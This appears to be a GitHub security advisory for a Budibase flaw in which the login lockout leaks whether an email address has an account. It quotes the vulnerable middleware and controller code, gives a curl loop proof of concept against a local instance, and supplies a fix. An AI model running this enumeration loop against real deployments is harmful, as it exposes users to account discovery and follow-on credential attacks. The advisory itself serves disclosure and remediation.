OSV 1.4.0 · github-reviewed · 修改于 2026-08-13 02:56
发布时间
2026-07-25 05:43
GitHub 审查时间
2026-07-25 05:43
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/07/GHSA-cr7p-cr3q-h5cm/GHSA-cr7p-cr3q-h5cm.json
The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct 403 response with X-Account-Locked: 1 and Retry-After: 900 headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic 403 "Unauthorized" regardless of attempt count, because the lockout counter is never incremented.
The vulnerability exists in two files that implement the login lockout feature:
packages/worker/src/middleware/lockout.ts:18-36 — The lockout middleware only blocks requests for users that exist in the database AND are locked:
export default async (ctx: Ctx, next: Next) => {
const email = ctx.request.body.username
if (!email) {
return await next()
}
const dbUser = await userSdk.db.getUserByEmail(email)
if (dbUser && (await isLocked(email))) { // line 26: non-existing users skip this entirely
ctx.set("X-Account-Locked", "1")
ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
ctx.throw(403, "Account temporarily locked. Try again later.")
}
return await next()
}
packages/worker/src/api/controllers/global/auth.ts:127-141 — The login handler only increments the failure counter for existing users:
if (err || !user) {
if (dbUser) { // line 129: non-existing users never trigger onFailed()
await onFailed(email)
}
if (await isLocked(email)) {
return handleLockoutResponse(ctx, email)
}
// ...
return passportCallback(ctx, user as any, err, info)
}
Execution flow for existing users (after 5 failed attempts):
lockout middleware → getUserByEmail returns user → isLocked returns true → 403 + X-Account-Locked: 1 + Retry-After: 900 + "Account temporarily locked"Execution flow for non-existing users (any number of attempts):
lockout middleware → getUserByEmail returns null → dbUser && isLocked is false → passes throughif (dbUser) is false → onFailed() never called → lock never setNo IP-based rate limiting exists on the login endpoint (POST /api/global/auth/:tenantId/login). The route is registered via loggedInRoutes which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.
# Test against a known-existing email and a non-existing email
# Replace 'default' with the target tenant ID
# Step 1: Send 6 login attempts for an existing user
echo "=== Testing existing user ==="
for i in $(seq 1 6); do
echo "--- Attempt $i ---"
curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
| grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
echo ""
done
# Expected: Attempts 1-5 return "Unauthorized"
# Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900
# Step 2: Send 6 login attempts for a non-existing user
echo "=== Testing non-existing user ==="
for i in $(seq 1 6); do
echo "--- Attempt $i ---"
curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
| grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
echo ""
done
# Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers
# The difference in behavior after 5 attempts confirms whether the email exists.
X-Account-Locked header.The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:
packages/worker/src/middleware/lockout.ts — Remove the dbUser check:
export default async (ctx: Ctx, next: Next) => {
const email = ctx.request.body.username
if (!email) {
return await next()
}
// Check lock status based on email alone, not user existence
if (await isLocked(email)) {
ctx.set("X-Account-Locked", "1")
ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
ctx.throw(403, "Account temporarily locked. Try again later.")
}
return await next()
}
packages/worker/src/api/controllers/global/auth.ts — Remove the dbUser guard around onFailed:
if (err || !user) {
// Always increment failure counter regardless of user existence
await onFailed(email)
if (await isLocked(email)) {
return handleLockoutResponse(ctx, email)
}
// ...
}
Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.